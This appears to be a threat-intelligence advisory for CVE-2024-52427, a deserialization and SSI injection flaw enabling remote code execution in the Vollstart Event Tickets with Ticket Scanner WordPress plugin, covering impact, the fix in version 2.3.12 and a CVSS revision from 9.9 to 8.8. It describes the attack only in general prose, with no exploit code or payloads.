CVE-2024-52427
Overview
This vulnerability is a deserialization of untrusted data flaw in the Vollstart Event Tickets with Ticket Scanner WordPress plugin. The root cause lies in improper validation and sanitization of user-supplied input that is deserialized by the server, enabling Server Side Include (SSI) injection. The affected component is the event-tickets-with-ticket-scanner plugin versions up to and including 2.3.11.
Vulnerability Description
Deserialization of Untrusted Data vulnerability in Vollstart Event Tickets with Ticket Scanner event-tickets-with-ticket-scanner allows Server Side Include (SSI) Injection.This issue affects Event Tickets with Ticket Scanner: from n/a through <= 2.3.11.
Impact
An attacker with a low-privileged authenticated account can exploit this vulnerability to execute arbitrary code on the server hosting the WordPress site. This can lead to full system compromise, including unauthorized access to sensitive data, modification or deletion of content, and potential lateral movement within the network. The exploit does not require user interaction beyond authentication, increasing the risk in environments where user accounts are shared or weakly protected.
Solution
To remediate this issue, upgrade the Vollstart Event Tickets with Ticket Scanner plugin to version 2.3.12 or later, as detailed in the Patchstack advisory at https://patchstack.com/database/Wordpress/Plugin/event-tickets-with-ticket-scanner/vulnerability/wordpress-event-tickets-with-ticket-scanner-plugin-2-3-11-remote-code-execution-rce-vulnerability?_s_id=cve. The vendor has addressed the deserialization flaw by implementing stricter input validation and sanitization. No alternative workarounds are provided; applying the patch is necessary to mitigate the vulnerability.

Full Analysis
The deserialization of untrusted data vulnerability in the Event Tickets with Ticket Scanner plugin for WordPress represents a significant security risk due to its potential for Server Side Include (SSI) injection. This vulnerability arises when the application improperly processes serialized data from untrusted sources, allowing an attacker to manipulate the deserialization process. By exploiting this flaw, an attacker can inject malicious payloads that the server may execute, leading to unauthorized access, data leakage, or even full system compromise. The severity of this vulnerability is underscored by its high CVSS score, indicating a critical risk that requires immediate attention.
Attack vectors for this vulnerability are varied and can be executed through multiple means. An attacker may craft a malicious request that includes serialized data, which the application will then deserialize without proper validation. This could occur through user input fields, API endpoints, or even through crafted URLs. Once the malicious payload is executed on the server, the attacker could leverage SSI to execute arbitrary commands, read sensitive files, or manipulate server configurations. The ease of exploitation, combined with the potential for severe consequences, makes this vulnerability particularly dangerous for organizations relying on the affected plugin for event management.
The real-world impact of this vulnerability can be profound, particularly for businesses that utilize the Event Tickets with Ticket Scanner plugin for managing ticket sales and event registrations. If exploited, an attacker could gain access to sensitive customer information, including personal details and payment data, leading to potential data breaches. Furthermore, the ability to execute arbitrary commands on the server could allow attackers to deface websites, disrupt services, or deploy malware, resulting in reputational damage and financial losses. Organizations may also face regulatory scrutiny and legal repercussions if they fail to protect user data adequately, compounding the business risks associated with this vulnerability.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-layered security strategy. Regularly updating the Event Tickets with Ticket Scanner plugin to the latest version is crucial, as software vendors typically release patches to address known vulnerabilities. Additionally, employing web application firewalls (WAFs) can help filter out malicious requests before they reach the application. Organizations should also conduct regular security audits and penetration testing to identify and remediate potential vulnerabilities in their systems. Furthermore, implementing strict input validation and sanitization practices can help prevent the injection of malicious payloads during the deserialization process.
In conclusion, the deserialization of untrusted data vulnerability in the Event Tickets with Ticket Scanner plugin poses a critical threat to organizations using this software. The potential for SSI injection allows attackers to execute arbitrary commands on the server, leading to severe consequences such as data breaches and service disruptions. By understanding the technical details, attack vectors, and potential impacts of this vulnerability, organizations can better prepare to defend against such threats. Proactive detection and mitigation strategies, including timely updates, WAF deployment, and rigorous security practices, are essential for safeguarding against this and similar vulnerabilities in the future.
The CVSS score adjustment from 9.9 to 8.8 for CVE-2024-52427 reflects a refined understanding of the vulnerability’s exploitability and impact based on recent analysis. This recalibration indicates that while the vulnerability remains highly critical, the likelihood or ease of exploitation may be somewhat less severe than initially assessed. CSURFACE threat intelligence notes that the EPSS score remains stable, suggesting no immediate increase in exploitation attempts or emerging proof-of-concept exploits in the wild. Our telemetry corroborates a steady threat posture without notable escalation in attacker activity targeting this deserialization flaw in Vollstart Event Tickets with Ticket Scanner. For defenders, this nuanced update underscores the importance of maintaining vigilance but also suggests a slightly moderated urgency compared to earlier projections. The overall threat level remains high due to the potential for SSI injection and consequent server compromise, but the absence of new exploit developments tempers the immediacy of risk escalation.
